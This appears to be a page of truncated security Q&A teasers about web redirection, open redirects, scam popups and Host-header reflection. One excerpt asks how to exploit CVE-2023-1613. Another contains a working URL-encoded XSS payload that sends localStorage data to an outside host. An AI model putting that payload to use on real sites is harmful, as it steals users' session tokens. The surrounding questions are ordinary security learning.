Collaborate Disseminate
I am a pretty new web developer, and my personal domain https://georgeciesinski.me expired after I got my first web development job. I made a rookie mistake and let this domain expire as I believed it would cease to exist. Then I started g… Continue reading How to fix github pages URL from redirecting to old hijacked domain?
I am searching about the open redirection attack. When I look at websites that try to explain the situation, they generally say to test the URLs in the form of www.example.com?redirection=… to see whether they go to the webpages written… Continue reading Under which situations is open redirection possible?
I had tried to type news.google.com into an Incognito tab of the Chrome browser on macOS. I don’t think I mistyped it, but that is possible.
What appeared was a big red window with a "McAfee Virus Warning" telling me I’m at risk … Continue reading What is taiwanprotect(dot)click, is it safe, and how did I get there? [closed]
The site is called "Blessing Step 1: Initiation"
I am trying to understand the vulnerability in Rebuild in chromium which is identified as CVE-2023-1613.
I found this poc online: https://github.com/getrebuild/rebuild/issues/596
What I understood so far, that the vulnerability can let you… Continue reading how to exploit CVE-2023-1613
I am trying to poc and XSS in the url, and I have it working fine with the below url:
https://example.com:15000/test/%3Cscript%20type=%22text/javascript%22%3Edocument.location=%22http://192.168.1.88:8080/%3fc=%22+localStorage.getItem(%22to… Continue reading + is decoded by the browser as space [closed]
So, our proxy server blocks all traffic except approved ones.
Would allowing a URL shortening (aka.ms, for example) mean any URL will bypass the proxy? Or is it just a redirect and the proxy/security system inspects the original URLs (whit… Continue reading In general, is URL shortening safe when used with proxy server?
I can successfully iframe a page on origin B from origin A (no x-frame-deny, content security policy, etc). A page on origin B (page X) redirects to a page on origin C (page Y) with a server side redirect (status 301). Origin C doesn’t all… Continue reading Is it possible to track cross origin redirection?
Several google products (mainly Gmail) masks links using a fake-dns mobile-webview.gmail.com
That domain doesn’t resolve anywhere, not even Google’s own NS https://dnschecker.org/#A/mobile-webview.gmail.com
Most apps mask it in a half-brok… Continue reading Documentation on mobile-webview.gmail.com link masking?
If I send an unknown domain name in the HTTP request header ‘Host’ to a webserver and the webserver responds with a HTTP status code 301/302 (redirect) along with a HTTP response header ‘Location’ reflecting my initial Host header input.
D… Continue reading Is a random unknown HTTP request header ‘Host’ that is reflected in the HTTP response ‘Location" header (3xx) a open redirect or DNS rebinding?